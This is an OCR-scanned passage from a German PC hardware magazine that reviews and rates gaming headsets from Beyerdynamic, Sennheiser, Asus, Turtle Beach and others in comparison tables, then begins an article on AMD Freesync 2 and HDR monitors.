dringen kaum Geräusche von In- 
nen nach Außen und umgekehrt. 
Damit ist das GSP 350 auch für 
laute oder geräuschempfindliche 
Umgebungen bestens geeignet. An- 
geschlossen wird das Headset per 
USB und gibt standardmäßig rei- 
nen Stereo-Klang über zwei 40-mm- 
Treiber aus. Diese haben eine kräf- 
tigen Tiefton-Fokus und blasen die 
Bässe mit vehementem Druck in 
die Gehörgänge. Erfreulicherwei- 
se werden die restlichen Frequen- 
zen aber nur sehr begrenzt durch 
diese Betonung in Mitleidenschaft 
gezogen, das GSP 350 leistet sich 
klanglich kaum Schwächen. Zudem 
fällt der Detailgrad hoch aus, auch 
feinere Geräusche gehen nicht im 
Klangbild unter. Auf Wunsch kann 
per USB-Fernbedienung virtueller 


stärkeregler befindet sich indes 


ab 
INNE 


Das brandneue Beyerdynamic Custom Game ist nicht nur ein sehr gut klingendes 
Headset, sondern lässt sich außerdem umfangreich individualisieren. 


schwer. Der optionale Tactical Audio Controller macht es außerdem extrem teuer. 
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direkt am Headset. Das Mikrofon 
wird durch Herunterklappen des 
Arms aktiviert. Dass Sennheiser 
auch bei Mikrofonen auf eine lan- 
ge Erfahrung zurückgreifen kann, 
wird dabei offensichtlich, das 
Mikrofon des GSP 350 gehört zu 
den besten dieser Preisklasse und 
nimmt nicht nur die Stimme deut- 
lich und natürlich auf, sondern un- 
terdrückt außerdem Störgeräusche 
und Rauschen effektiv. 


Beyerdynamic Custom Game: Tolles 
Stereo-Headset mit Hi-Fi-Qualitä- 
ten. Als erstes Magazin weltweit 
konnte PCGH die neuen Headsets 
des heilbronner Audiospezialisten 
Beyerdynamic testen. Den Anfang 
macht das auf dem Kopfhörer 
Custom One Pro Plus basierende 


Custom Game, das für rund 200 
Euro erhältlich sein wird. Bei dem 
stylischen Headset handelt es sich 
um ein klassisches Stereo-Gerät, al- 
lerdings bietet es wie von der Cus- 
tom-Reihe gewohnt eine ganze Rei- 
he Anpassungsmöglichkeiten. So 
finden sich an der Unterseite der 
geschlossenen Hörermuscheln va- 
riable Bassreflex-Öffnungen, wel- 
che eine individuelle Abstimmung 
mit vier Stufen, von bassarm über 
linear, dann kräftigem, warmen 
Klang bis hin zu massiver Bass- 
betonung für jeden Geschmack 
etwas zu bieten hat. Unsere Test- 
ergebnisse beziehen sich auf die 
zweite, lineare Stufe. Neben dem 
Klang kann das Custom Game zu- 
dem auch optisch und funktional 
individualisert werden, so lassen 


sich beispielsweise die Seitenteile 
durch poppigere Varianten oder ei- 
gene Motive tauschen. Im Zubehör 
des Custom Game, welches auch 
eine schicke und stabile Aufbe- 
wahrungsbox aus Nylon umfasst, 
finden sich bereits einige optio- 
nale Seitenteile.Das Headset kann 
außerdem durch andere Kabel 
zum mobilen oder DJ-Kopfhörer 
umfunktioniert und die Polster 
von Hörer und Bügel getauscht 
werden. Letztere fallen jedoch 
schon im  Auslieferungszustand 
extrem geschmeidig aus und bie- 
ten sowohl einen tollen Komfort 
als auch eine sehr gute Isolation. 
Das mit rund 290 Gramm mittel- 
schwere und klasse ausbalancierte 
Custom Game sitzt auch dank der 
tollen Haptik der Materialien aus- 


HEADSETS 


Auszug aus Testtabelle 


Produkt 


Hersteller 


MMX 300 (Generation 2) 
Beyerdynamic (https://www.beyerdynamic.de/) 


sg. 


J 


amic 
MMX 300 (Generation 2) 


Нагйшаге 


Custom Game 
Beyerdynamic (https://www.beyerdynamic.de/) 


Preis/Preis-Leistungs-Verháltnis 


ca. € 300 / Mangelhaft 


ca. € 200 / Ausreichend 


PCGH-Preisvergleich www.pcgh.delpreis 1557567 


noch nicht gelistet 


Art Geschlossen, ohrumschlieBend 


Geschlossen, ohrumschlieBend 


Gewicht 


ca. 280 Gramm 


ca. 290 Gramm 


Abmessungen Ohrmuschel (HxBxT) 


10,5 x 10,5 x 25 cm 


10,5 x 10,5 x 2,5 cm 


Impedanz 
Ausstattung (20 %) 
Anschlüsse 


32 Ohm 
1,80 
2 х 3,5-mm-Klinke (Dreipol) oder 1 x 3,5-mm-Klinke (Vierpol) 


16 Ohm 
1,73 
2 x 3,5-mm-Klinke (Dreipol) oder 1 x 3,5-mm-Klinke (Vierpol) 


Bedienelemente 


Kabelfernbedienung mit Lautstärkeregler, Mikrofonstummschal- 
tung und Multimedia-Taste 


Mechanische Bassregelung mit 4 Stufen; Kabelfernbedienung mit 
Lautstärkeregler, Mikrofonstummschaltung und Multimedia-Taste 


Zubehör/Soundkarte 


Eigenschaften (20 %) 
Auffälligkeiten 


Adapter auf 6,3-mm-Klinke, stabile Aufbewahrungsbox aus Nylon 


1,23 
Sehr gute Materialanmutung; prinzipiell alle Teile austauschbar 
und auf lange Zeit lieferbar; handgefertigt 


Adapter auf 6,3-mm-Klinke, stabile Aufbewahrungsbox aus Nylon 


125 
Sehr gute Materialanmutung; vielseitig individualisierbar; Ersatz- 
teile langfristig lieferbar 


Ergonomie Recht leicht, auBergewóhnlich bequem Sehr hoher Komfort, recht leicht 

Verarbeitung Keine Mängel Keine Mängel 

Leistung (60 %) 1,464285714 1,528571429 

Spiele Toller Klang und sehr gute Spieletauglichkeit dank hoher Präzision, | Gute Ráumlichkeit und hoher Detailgrad; auf Wunsch kräftige 
sauberer Ortung und hoher Räumlichkeit Bässe oder Fokus auf Auflösung und Stimmwiedergabe 

Musik Nicht völlig neutraler, jedoch sehr engagierender Sound und volle |Sauberer, praktisch linearer Klang (Bassreglung 2); hohe Auflösung 
Musiktauglichekeit in allen Genres und gute Räumlichkeit 

Filme Voller, kräftiger Klang und erstklassige, klare und natürliche Stim- |Sehr saubere und natürliche Stimmwiedergabe, sehr gute De- 
menwiedergabe sowie hohe Räumlichkeit tailabbildung und gute Immersion 

Klang Angenehm warmes, offenes Klangbild mit leichter Bassbetonung |Sehr neutraler, hochauflösender, recht offener Klang; volle Musikt- 
und kleiner Hóhenspitze auglichkeit (Bassregelung 2) 

Pegel Pegelfest bis maximale Lautstárke Pegelfest bis maximale Lautstärke 


Stereo-Seperation/Surround 


Hohe Ráumlichkeit und sehr saubere Stereo-Seperation 


Gute Räumlichkeit und Stereo-Seperation 


Aufnahmefunktion Mikrofon 


FAZIT 
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Saubere Stimmwiedergabe und sehr gute Rauschunterdrückung 


© AuBerordentlich bequem 
© Fantastischer Sound 
© Sehr teuer 


Wertung: 1,49 
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Sehr gutes Mikrofon mit sauberer Wiedergabe 


© Toller Klang 
© Sehr gutes Mikrofon 
© Relativ hoher Preis 


Wertung: 1,51 


gesprochen bequem auf dem Kopf 
und fällt auch nach vielen Stunden 
nicht unangenehm auf. Während 
diesen kann mit dem Beyerdyna- 
mic-Headset gleichermaßen Mu- 
sik gehört, Filme gesehen oder 
gespielt werden, der ausgewogene 
und sehr detaillierte Klang macht 
es zu einem echten Allrounder. 
Das ausgezeichnete, direkt am Ka- 
bel befestigte Mikrofon rundet das 
erstklassige Gesamtbild ab. Und 
dank des geringen Widerstands 
von 16 Ohm, der sehr guten Iso- 
lation und der gefälligen Optik ist 
das Custom auch für den mobilen 
Einsatz voll geeignet. Obendrauf 
ist die Ersatzteillieferung über Jah- 
re hinweg kein Problem. Den nicht 
günstigen, jedoch fairen Preis von 
200 Euro kann man also durchaus 
als längerfristige Investition sehen. 


Asus ROG Centurion: Überzeugendes 
7.1-Headset mit vielen Spielereien. 
Mit dem ROG Centurion bietet 
Asus eins der wohl bestausgestat- 
teten Gaming-Headsets überhaupt 
an: Das echte Surround-Gerät 
bietet so ziemlich jedes Feature, 
dass man sich von einem Gaming- 
Headset wünschen könnte. Das 
massiv gestaltete Centurion wiegt 
ebenso üppige 470 Gramm, verteilt 
dieses Gewicht jedoch gut auf dem 
Kopf; allerdings wird das sehr hohe 
Gewicht trotz sehr angenehmer 
Polsterung nach einer gewissen 
Tragezeit durchaus anstrengend. 
Die riesigen Hörer verbergen pro 
Seite 5 Treiber (siehe Bild), die 
bei Surround-Inhalten aktiv wer- 
den, für den Stereo-Betrieb ist nur 
der 40-mm-Center- und 40-mm- 
Subwoofer-Treiber aktiv. Mit dem 
Centurion Kann also auch Musik 
gehört werden, wobei der Sound 
sehr bassstark ausfällt. Mittels der 
umfangreichen Tischfernbedie- 
nung können die Treiber auch 
einzeln abgestimmt, verschiedene 
Profile aktiviert, die ausgezeichnet 
funktionierende aktive Geräusch- 
unterdrückung für das Mikrofon 
und die LED-Beleuchtung für die 
Asus-Logos zugeschaltet, 
natürlich die generelle Lautstärke 
angepasst werden. Außerdem kann 
eine zusätzliche Verstärkung für 
das Headset zugeschaltet werden, 
dazu verbaut Asus in dem Control- 
ler einen potenten ESS 9061 Kopf- 
hörerverstärker. Wem dies an Ein- 
stellungsmöglichkeiten noch nicht 
reicht, Kann per Software noch 


zudem 
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weitere Einstellungen vornehmen. 
Der Klang des Centurions ist sehr 
überzeugend, allerdings nichts für 
Hi-Fi-Fans, denn der Sound erinnert 
weitaus stärker an einen vollaus- 
gestatteten Kino- denn akustisch 
ausgewogenen Konzertsaal; daran 
ändern auch eine Vielzahl Profile 
und Einstellungsmöglichkeiten 
prinzipiell nicht viel. Doch gerade 
beim Spielen kommt durch den 
wirklich überzeugenden Surround- 
Sound, die fetten Bässe und die 
tadellos funktionierende, rausch- 
freie Kommunikation mit anderen 
Gamern viel Freude auf - es wirkt 
tatsächlich so, als würden wir eine 
gute (wenn auch sehr basslastige) 
Surround-Anlage nutzen. Sind Sie 
an solch einem Klangbild, der über- 
zeugenden Technik und den unzäh- 


ligen — Einstellungsmóglichkeiten 
interessiert, ist das Asus ROG Cen- 
turion eine gute Wahl und mit 250 
Euro verhältnismäßig bezahlbar. 


Beyerdynamic MMX 300 Gen. 2: 
Nachfolger der Headset-Referenz. 
Das MMX 300 brauchen wir audio- 
begeisterten Spielern wohl kaum 
vorzustellen: Es ist nicht nur in un- 
serer Community außerordentlich 
beliebt, sondern wird zurecht auch 
als HeadsetReferenz gehandelt. 
Die in Heilbronn in Handarbeit ge- 
fertigte Neuauflage präsentiert sich 
mit einem komplett renovierten 
Äußeren und kommt nun in dezen- 
tem Mattschwarz daher. Die Hörer 
bekamen geschmeidige, haptisch 
außerordentlich angenehme und 
hochwertig wirkende Kunststoff- 


Den N 
TOP-TECHNIK 


HEADSETS 


Auszug aus Testtabelle 


Hersteller 


ROG Centurion 
Asus (https://www.asus.com/de/) 


teile und die im Inneren verbauten 
40-mm-Treiber technisches 
Upgrade - offenbar ist nun die 
Technik der 32-Ohm-Variante des 
DT 770 Pro dort verbaut; das erste 
MMX 300 setzte noch auf den re- 
gulären DT 770 als Basis. Auch die 
anschmeichelnden — Velourpolster 
sowie die mit weichem Protein- 


ein 


kunstleder überzogene Polsterung 
des Kopfbügels sind neu, das nicht 
abnehmbare Mikrofon ist tech- 
nisch sehr áhnlich dem des Custom 
Game, besitzt aber noch einen àu- 
fseren und zusätzlich inneren Popp- 
Schutz. Nun ist zudem das Kabel 
wechselbar und kommt mit einer 
kleinen Bedienungseinheit. Das 
ММХ 300 Gen. 2 ist im Vergleich 
zum seit über fünf Jahren im Pri- 
vatbesitz des Testers befindlichen 


Vorgängers aufgrund des geringen 
Gewichts von nur 280 Gramm und 
der neuen Polster nochmals etwas 
bequemer und ist somit eins der 
komfortabelsten Headsets, die man 
kaufen kann. Außerdem klingen 
die neuen Treiber sogar noch ei- 
nen Tick detailreicher und saube- 
rer und liefern einen tollen, leicht 
bassbetonten Hi-Fi-Klang mit der 
typischen „Beyer-Spitze“, einer Hö- 
henbetonung bei rund 10 KHz. Das 
MMX 300 Gen. 2 ist voll musiktaug- 
lich und begeistert auch beim Spie- 
len mit einem weiten, sehr hoch- 
auflösenden Klangbild, welches 
nicht nur viel Spaß macht, sondern 
tatsächlich auch spielerische Vor- 
teile dank hoher Präzision und sau- 
berer Ortung bringt. Das Mikrofon 
schließt sich mit einer ausgezeich- 


Asus 
ROG Centurion 


y Hardware 


Elite Pro + Tactical Controller 
Turtle Beach (https: //www.turtlebeach.com/de/) 


GSP 350 


Sennheiser (http:/de-de.sennheiser.com/) 


Sound Blaster X H5 TE 


Creative (http://de.creative.com/) 


Preis/Preis-Leistungs-Verhältnis 


ca. € 250 / Ausreichend 


ca. € 360 (€ 180 + € 180)/ Mangelhaft 


ca. € 140 / Befriedigend 


ca. € 90 / Gut 


PCGH-Preisvergleich www.pcgh.de\preis\1562870 


nicht gelistet 


www.pcgh.de\preis\1543799 


www.pcgh.delpreis 153617 


extrem schwer 


Polstern aber sehr schwer 


Art Geschlossen, ohrumschlieBend Geschlossen, ohrumschließend Geschlossen, ohrumschließend Geschlossen, ohrumschließend 
Gewicht ca. 470 Gramm ca. 425 Gramm ca. 275 Gramm ca. 270 Gramm 
Abmessungen Ohrmuschel (HxBxT) 11 x 9 x 2,5 cm 10 x 8 x 2,5 cm 11x 7,5x 3 m 11х85х3ст 
Impedanz 32 Ohm 32 Ohm 19 Ohm 32 Ohm 
Ausstattung (20 %) 1,50 1,75 2,08 2,17 
Anschlüsse USB; HDMI (Headset); HDMI (Ausgang) 3,5-mm-Klinke (Headset); Controller: U.a. USB, | USB; 1,5-mm-Klinke (Vierpol, Headset) 3,5-mm-Klinke (Dreipol, Vierpol) 
Toslik, 3,5-mm-Klinke (Ein- und Ausgang) 
Bedienelemente U.a.: Lautstärke- und Mikrofonreglung, ENC; Ka- |Lautstärke und Mikrofonstummschaltung; U.a.: | Lautstárke und Mikrofonstummschaltung (Head- | Fernbedienung mit Lautstärke und Mikro- 
näle einzeln pegelbar; Beleuchtung; Profile Chat-mix, Rauschunterdrückung (Controller) set); Surround-Sound (Fernbedienung) fonstummschaltung 
Zubehör/Soundkarte Tischbox mit Soundkarte und Kopfhörerverstär- |USB-Soundkarte mit optionalem Surround (Con- | USB-Soundkarte mit optionalem Surround Klinkenverlängerung (2 x 3,5-mm) 
ker; Velour-Polster zum Wechseln; Ständer troller); nur benötigte Kabel 
Eigenschaften (20 %) 1,90 1,68 1,77 1,73 
Auffälligkeiten Generell sehr gute Materialien aber viel Plastik; |Sehr robuste und saubere Materialanmutung, | Ме! Plastik, aber generell hochwertige Materi- |Robust und flexibel; gute Materialanmutung 
schicke Details; beleuchtete Logos neben Plastik viel Metall alen; ohne zusätzliches Kabel nur USB nutzbar 
Ergonomie Guter Komfort dank weicher Polster aber Sehr bequem dank Kopfband und sehr weichen | Relativ leicht, sehr bequemer, aber etwas Angenehm leicht und sehr bequem 


strammer Sitz 


Profilen 


Verarbeitung Verarbeitungsspuren, scharfe Kanten (Ständer) |Keine Mängel Keine Mängel Keine Mängel 

Leistung (60 %) 1,885714286 1,864285714 1,785714286 1,814285714 

Spiele Brachialer Surround-Sound mit extrem kräftigen |Kräftiger Spiele-Sound mit optional virtuellem |Sehr kräftiger Bass aber dennoch gute Detailab- |Sehr ausgewogener Sound mit hoher Detailab- 
Bässen; viele Profile und Audioverbesserungen |7.1-Surround; Gute Ortung und Ráumlichkeit | bildung; ordentlicher Surround-Sound bildung und Räumlichkeit; relativ wenig Bass 

Musik Ordentlicher Klang, wirkt im Stereo-Betrieb aber | Guter Klang, aber mit leichten Schwächen bei | Generell gute Musikeignung, aber etwas sehr |Dank linearer Abstimmung und hohem De- 
etwas leise; (zu) heftige Bässe; nur begrenzt der Detailabbildung; kleinere Schwächen bei dominanter Bass tailgrad volle Musiktauglichkeit 
musiktauglich Höhen und Mitten 

Filme Bei unterstützen Surround tolles Kino-Feeling; |Angenehmer Kino-Sound mit natürlicher Stimm- | Voller, kräftiger Kino-Sound und natürliche Detailgetreue und saubere Wiedergabe; etwas 
recht stark verfärbte Stimmen wiedergabe Stimmwiedergabe wenig Tiefton 

Klang Sehr heftiger Bass; im Stereobetrieb weniger Kräftiger, aber nicht überdominatnter Bass; Sehr kräftiger Bass, generell aber recht ausge- | Praktisch lineare, sehr neutrale Wiedergabe ohne 
überzeugend leichte Detailschwächen und etwas zu zurück- |wogenes Klangbild mit vielen Details Bassbetonung 

haltende Mitten 
Pegel Bei hoher Lautstärke Kompression in einigen Pegelfest bis maximale Lautstärke Pegelfest bis maximale Lautstärke egelfest bis maximale Lautstärke 


Stereo-Seperation/Surround 


Klasse Surround-Feeling; brauchbarer Ste- 
reo-Sound 


Mit Surround-Sound gutes Mittendrin-Gefühl; 
gute Ortung 


Guter Surround-Sound und überzeugende 
Räumlichkeit 


Saubere Stereo-Seperation, gute Räumlichkeit 


Aufnahmefunktion Mikrofon 


FAZIT 
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Sehr gutes Mikrofon; sehr gute aktive Ge- 
räuschunterdrückung 


© Brachialer Surround-Sound 
© Noice Cancelling (ЕМС) 
© Extrem schwer; groß, teuer 


81 


Wertung: 


Gutes Mikrofon samt Verstärkung und Rau- 
schunterdrückung 


© Angenehmer Spiele-Sound 
© Stabile Verarbeitung 
© mit Controller extrem teuer 


Wertung: 1,81 


Sehr gutes Mikrofon mit effektiver Rauschun- 
terdrückung 


© Sehr guter, kräftiger Sound 
© Tolles Mikrofon 
© Effektiv nur USB nutzbar 


Wertung: 1,84 
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Überzeugendes Mikrofon mit sauberer Auf- 
zeichnung 


© Guter, ausgewogener Sound 
© Flexibel und leicht 
© Nichts für Bassfreunde 


Wertung: 1,87 
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neten Sprachqualität dem erstklas- 
sigen Qualitätseindruck an. Eine 
stabile Aufbewahrungsbox 
Nylon gibt es obenfrauf. Die alte 
Referenz ist damit auch die neue: 
Mit dem Beyerdynamic MMX 300 
Gen. 2 bekommen Sie eins der best- 
klingendsten, stabilsten und emp- 
fehlenswertesten Stereo-Headsets 
überhaupt, mit dem Sie über viele 
Jahre hinweg glücklich werden 
können - selbst wenn der Preis von 
300 Euro zuerst einmal alles andere 
als günstig wirkt. 


aus 


Turtle Beach Elite Pro Tournament 
Pack: Gutes, aber sehr teures Ga- 
ming-Headset. Das Oberklasse- 
Headset von Turtle Beach ist prin- 
zipiell ein Stereo-Headset, wird 
mit dem Tournament Pack jedoch 


in ein USB-Gerät samt virtuellem 
Surround-Sound Wir 
testen diese Variante. Die rund 425 
Gramm sind viel für ein Headset, 
jedoch verteilt sich das hohe Ge- 
wicht aufgrund der wirklich di- 
cken Polsterung und des flexiblen 
Kopfbandes sehr gut. Auf Dauer 
ist das Elite Pro aber ein wenig an- 
strengend zu tragen. Das Gewicht 
geht indes nicht zuletzt auf die sehr 
robuste Verarbeitung zurück, der 
Bügel ist zum Teil aus Metall gefer- 
tigt und entsprechend schwer. Die 
extrem dicken, satt sitzenden und 
sehr gut isolierenden Ohrpolster 
sind schwimmend gelagert, 
erlauben somit einen festen, gut 
abschließenden Sitz. Darunter ist 
pro Seite jeweils ein gut sichtba- 
rer 50-mm-Treiber verbaut. Diese 


erweitert. 


sie 


HEADSETS 


Auszug aus Testtabelle 


Produkt 


Hersteller 


Arctis 5 
Steelseries (https://de.steelseries.com/) 


PREIS-LEISTUNGS-TIPP 


Hardware 


Lioncast (https://www.lioncast.com/) 


liefern einen angenehm sauberen, 
recht detaillierten und ausgewoge- 
nen Sound, auf Wunsch kann die- 
ser mittels Tactical Controller und 
vier Profilen angepasst oder Sur- 
round-Sound via DTS Headphone 
X zugeschaltet werden. Auch die- 
ser bietet unterschiedliche Profile. 
Zudem kann mittels Schieberegler 
die Chat-/Spiellautstärke abge- 
mischt, die Rauschunterdrückung, 
Verstärkung sowie Monitorlautstär- 
ke des gut klingenden Mikrofons 
angepasst werden. Ein zentraler 
Laustärkeregler sowie eine Mikro- 
fonstummschaltung runden die 
Bedienfelder ab. Der Tactical Con- 
troller bietet zudem eine Vielzahl 
analoger sowie digitaler Ein- und 
Ausgänge. Damit bietet sich das Eli- 
te Pro insbesondere dann an, wenn 


Sie das Headset neben dem PC auch 
noch an Konsolen und/oder AVR 
betreiben wollen, was den sehr ho- 
hen Preis von rund 380 Euro etwas 
revidieren würde. Einzeln und als 
reines Stereo-Gerät ist das Elite Pro 
für 180 Euro erhältlich. (pr) 


Fazit Hardware 


Gute Headsets gibt es reichlich! 

Wie diese Marktübersicht zeigt, gibt es 
durchaus sehr gute Headsets — und für 
diese muss man nicht zwangsläufig tief 
in die Tasche greifen. Ab knapp über 
50 Euro bekommt man gute Qualität. 
Wer mehr will, investiert in digitale 
Extras, USB und Surround-Sound oder 
wählt einen toll klingenden und lang- 
lebigen Allrounder auf Kopfhörerbasis. 


Roccat (http://www.roccat.org/de-DE) 


P533 Penta 
Arctic (https://www.arctic.ac/de_de/) 


Preis/Preis-Leistungs-Verhältnis 


ca. € 130 / Befriedigend 


ca. € 60 / Sehr gut 


ca. € 70 / Gut 


ca. € 60 / Sehr gut 


www.pcgh.de\preis\1518329 www.pcgh.de\preis\1560427 nicht gelistet www.pcgh.de\preis\1544775 
Art Geschlossen, ohrumschließend Geschlossen, ohrumschließend Geschlossen, ohrumschließend Geschlossen, ohrumschließend 
Gewicht ca. 300 Gramm ca. 260 Gramm ca. 190 Gramm ca. 360 Gramm 
Abmessungen Ohrmuschel (HxBxT) 10x9x2cm 10,5 x 85 x 2cm 8,5 x 6,5 x 2,5 cm 10,5 x 85 x 2,5 cm 
Impedanz 32 Ohm Keine Angabe Keine Angabe 16 Ohm 

Ausstattung (20 %) 1,80 2,17 2,00 2,17 

Anschlüsse USB; 3,5-mm-Klinke (Vierpol, Headset) 3,5-mm-Klinke (Dreipol, Vierpol) 3,5-mm-Klinke (Dreipol, Vierpol) 3,5-mm-Klinke (Dreipol, Vierpol) 


Bedienelemente 


Lautstárke und Mikrofonstummschaltung (Head- 
set); Chat-mix (Fernbedienung) 


fonstummschaltung 


Fernbedienung mit Lautstárke und Mikro- 


schaltung 


Lautstárkereglung Headset; Microfonstumm- 


Lautstárke und Mikrofonstummschaltung am 
Headset 


bequem 


Zubehór/Soundkarte USB-Soundkarte mit optionalem Surround; Klinkenverlängerung (2 x 3,5-mm) Zwei Kinkenkabel je nach Einsatzzweck; sepe- |Klinkenverlängerung (2 x 3,5-mm) 
Software rates In-Line-Mikro 

Eigenschaften (20 %) 1,95 1,78 1,72 1,88 

Auffälligkeiten Ordentliche Materialanmutung aber kratzemp- — | Für die Preisklasse sehr gute Materialanmutung; | Sehr kompaktes Design, dafür recht stabil; gute |Auffälliges, aber funktionales Äußeres, gute 
findlich; RGB-Beleuchtung flexibel und stabil Materialien Materialanmutung 

Ergonomie Mittelschwer, auch beim längeren Tragen Recht leicht, sitzt bequem aber etwas locker Sehr leicht, bequemer Sitz Bequemer Sitz, recht schwer 


Verarbeitung Leichte Bearbeitungsspuren und scharfe Kanten | Keine Mängel Keine Mängel Keine Mängel 

Leistung (60 %) 1,985714286 1,921428571 2,135714286 2,114285714 

Spiele Warmer, kräftiger Klang mit guter Detailabbil- |Sauberer, detaillierter Spieleklang; wenig Bass |Ordentlicher Sound mit kräftigem Bass, aber Guter, ausgewogener Klang; leichte Schwächen 
dung sowie Räumlichkeit und optional virtu- recht wenigen Details bei der Detailabbildung; Bassarm 
ellem 7.1-Surround 

Musik Gute Musikeignung mit kleineren Schwächen |Gute Musiktauglichkeit dank linearer Abstim- | Etwas detailarm, relativ kräftige Bassbetonung |Ordentlicher, recht linearer Sound, jedoch mit 
bei der Detailabbildung mung und vielen Details Detailschwächen 

Filme Saubere Stimmwiedergabe und gutes Mitten- — |Spielt detailliert und gibt Stimmen natürlich Gute Stimmverständlichkeit und fetter Tiefton, — | Ordentlicher Kino-Sound, etwas ausdrucksarme 
drin-Gefühl Wieder; etwas wenig Bass wenig Details Stimmen 

Klang Kräftige Bassbetonung; ansonsten recht ausge- | Keine hörbaren Betonungen, detaillierter Klang | Bassbetonung und leichte Defizite bei Mitten ` | Recht lineare, neutrale Wiedergabe; relativ 
wogener und relativ detaillierter Klang und Hóhen wenige Details 

Pegel Pegelfest bis maximale Lautstárke Pegelfest bis maximale Lautstárke Pegelfest bis maximale Lautstärke egelfest bis maximale Lautstárke 


Stereo-Seperation/Surround 


Ordentlicher Surround-Sound mit guter Ortung; 
gute Stereo-Seperation 


Saubere Stereo-Seperation, gute Räumlichkeit 


Räumlichkeit 


Ordentlicher Stereo-Sound und brauchbare 


Gute Stereo-Seperation und Räumlichkeit 


Aufnahmefunktion Mikrofon 


FAZIT 
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Ordentliches Mikrofon mit guter Rauschun- 
terdrückung 
© Angenehmer Spiele-Sound 
© Stabile Verarbeitung 

© mit Controller extrem teuer 


Wertung: 1,94 


nung 
© Leicht und bequem 


Gutes Mikrofon mit sauberer Stimmaufzeich- 


© Erstaunlich gut verarbeitet 
© Preis-/Leistungsverhältnis 


Wertung: 1,94 


© Leicht und mobil 
© Kabel für Einsatzzweck 
© Nicht sonderlich detailliert 


Wertung: 2,02 


Gutes Mikrofon; In-Line-Mikro brauchbar 


unktionales Mikrofon und saubere Stimm- 
wiedergabe 


eistungsverháltnis 
© Auffálliges Design 
© Schwächen beim Klang 


Wertung: 2,08 
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Das Jahr 2017 verspricht, vor allem 


durch das erwartete Comeback von 


AMD spannend zu werden. PCGH über 


-Sync 


G 


‚ Freesync 2, 


Vega 


ГД 


Ryzen, АМ4 


HDR und mehr. 
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ür Fans variabler Bildwieder- 

holraten wird das Jahr 2017 
viele Neuerungen mit sich brin- 
gen. AMD stellte bereits im Vor- 
feld der CES 2017 seine Display- 
Technologie in Version Freesync 2 
vor, die Freesync 1 ergänzt, Nvidia 
zog dann auf der CES nach und 
pràsentierte G-Sync HDR. Beiden 
Initiativen gemein ist die Einbin- 
dung einer HDR-Komponente. 
High Dynamic Range war bereits 
vor einem Jahr als Trendthema 
identifiziert worden, doch erst jetzt 
nimmt es richtig Fahrt auf. Im Fern- 
sehmarkt gilt HDR neben OLED 
bzw. deren Konkurrenzprodukten 
als wichtigstes Marketing-Feature 
des Jahres, auf PS4 und Xbox Опе 
erscheinen immer mehr Spiele mit 
HDR. Nun ist die Zeit offenbar reif 
für HDR auf dem PC. 


Drei Jahre nach der ursprüngli- 
chen Vorstellung von Freesync und 
zwei Jahre nach der Veröffentli- 
chung erster entsprechender Mo- 
nitore stellte AMD Anfang Januar 
Freesync 2 vor. Der Name ist viel- 
leicht etwas unglücklich gewählt, 
denn Freesync 2 ist weniger der 
Nachfolger von Freesync 1, son- 
dern eher eine Erweiterung. Beide 
Zertifizierungen werden also par- 
allel existieren. AMD selbst spricht 
davon, mit 20 Displaypartnern bei 
Freesync zusammenzuarbeiten. 
Aus dieser Kooperation sind Stand 
heute laut AMD immerhin 121 Free- 
sync-Monitore entstanden. Eine 
durchaus beeindruckende Zahl, an 
die Nvidia mit G-Sync bei Weitem 
nicht herankommt. 


Freesync 2 bietet nun im Wesentli- 
chen Folgendes: 


I Eine neue HDR-Komponente 
LFC (Low Framerate Compen- 
sation) wird nun zwingend 
vorgeschrieben 
Erste Monitore bis Mitte 2017 


Mit der zweiten Iteration von 
Freeync (FS2) nimmt AMD also 
eine HDR-Komponente in die Spe- 
zifikationen auf, die dem Nutzer 
den Alltag am PC erleichtern soll. 
Helligkeit und Farbdarstellung sol- 
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len gegenüber den rund 20 Jahre al- 
ten Standard-RGB-Anforderungen 
für eine FS2-Zertifizierung mindes- 
tens verdoppelt werden. Auch das 
bei HDR-Fernsehern beobachtbare 
Input-Lag wird angegangen. Sofern 
man ein HDR-fähiges Display be- 
sitzt und auf diesem ein Spiel mit 
HDR-Unterstützung zockt (aktu- 
elles Beispiel: Shadow Warrior 2), 
müssen Nutzer laut AMD aktuell 
noch mit einem erhöhten Input- 
Lag leben. Nachdem das Spiel sein 
eigenes Tone-Mapping durchge- 
führt hat, wendet das Display noch 
einmal ein eigenes Tone-Mapping 
an, um das Bildsignal in die darstell- 
baren Farben zu übersetzen. Das 
kostet wenige Millisekunden Zeit 
und verzögert folglich die Umset- 
zung eines Eingabebefehls. 


Mit Freesync 2 teilt ein entspre- 
chender Monitor dem Treiber nun 
die genauen HDR-Fähigkeiten mit, 
welcher diese daraufhin an das 
Spiel weitergibt. Das spielinterne 
Tone-Mapping kann somit auf den 
eingesetzten Monitor abgestimmt 
werden, sodass das Display-interne, 
erneute Tone-Mapping entfällt - 
die Latenz soll spürbar sinken, da- 
bei dürfen streng festgelegte Gren- 
zen nicht überschritten werden. 
Um die Nutzung für Anwender zu 
erleichtern, hat AMD einen „Au- 
tomatic Mode Switch“ genannten 
Modus eingebaut. Windows wird 
dabei im normalen SDR-Raum dar- 
gestellt, da dort HDR schlichtweg 
unnötig ist. Startet man ein Spiel 
mit HDR- und FS2-Unterstützung, 
wechseln Treiber und Monitor 
automatisch in den HDR-Modus. 
Wenn man aus dem Spiel kurzzei- 
tig zum Desktop wechselt oder das 
Spiel beendet, geht es automatisch 
zurück in den SDR-Modus. 


Darüber hinaus setzt Freesync 2 
die Low Framerate Compensation 
genannte Komponente, kurz LFC, 
voraus, die bei FS1 nur optional ist. 
Das heißt, die maximale Bildwie- 
derholrate muss mindestens dop- 
pelt so hoch sein wie die minimale, 
damit eine Frame-Vervielfachung 
stattfinden kann. Werden weniger 
Fps gerendert, als der Monitor in 
Hertz darstellen kann, wird jeder 
Frame mehrfach dargestellt, um 


Radeon FreeSync'"^ 


and 


2 


>r 2X perceivable 


brightness and color volume over 


FreeSync?" 2 technologies 


Freesync 2: AMD erweitert seinen bisherigen Standard um einige sinnvolle Vorgaben, 
im Fokus steht aber eindeutig eine HDR-Komponente. 


ampa | RADEON 


Bei einem Freesync-2-Monitor (Beispiel unten) entfällt das Display-interne, erneute 
Tone-Mapping - der Monitor teilt dem Treiber die HDR-Fähigkeiten vorab mit. 


AMDZ | RADEON 


Im , Automatic Mode Switch" wird Windows im SDR-Raum dargestellt (hier braucht 
es kein HDR), in Spielen wechseln Treiber und Display automatisch in den HDR-Modus. 


AMD spricht bei Freesync 2 von einer theoretisch doppelt so hohen wahrnehmbaren 
Helligkeit bzw. eines doppelt so hohen Farbvolumens gegenüber sRGB. 
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trotzdem noch Bildrisse (Tearing) 
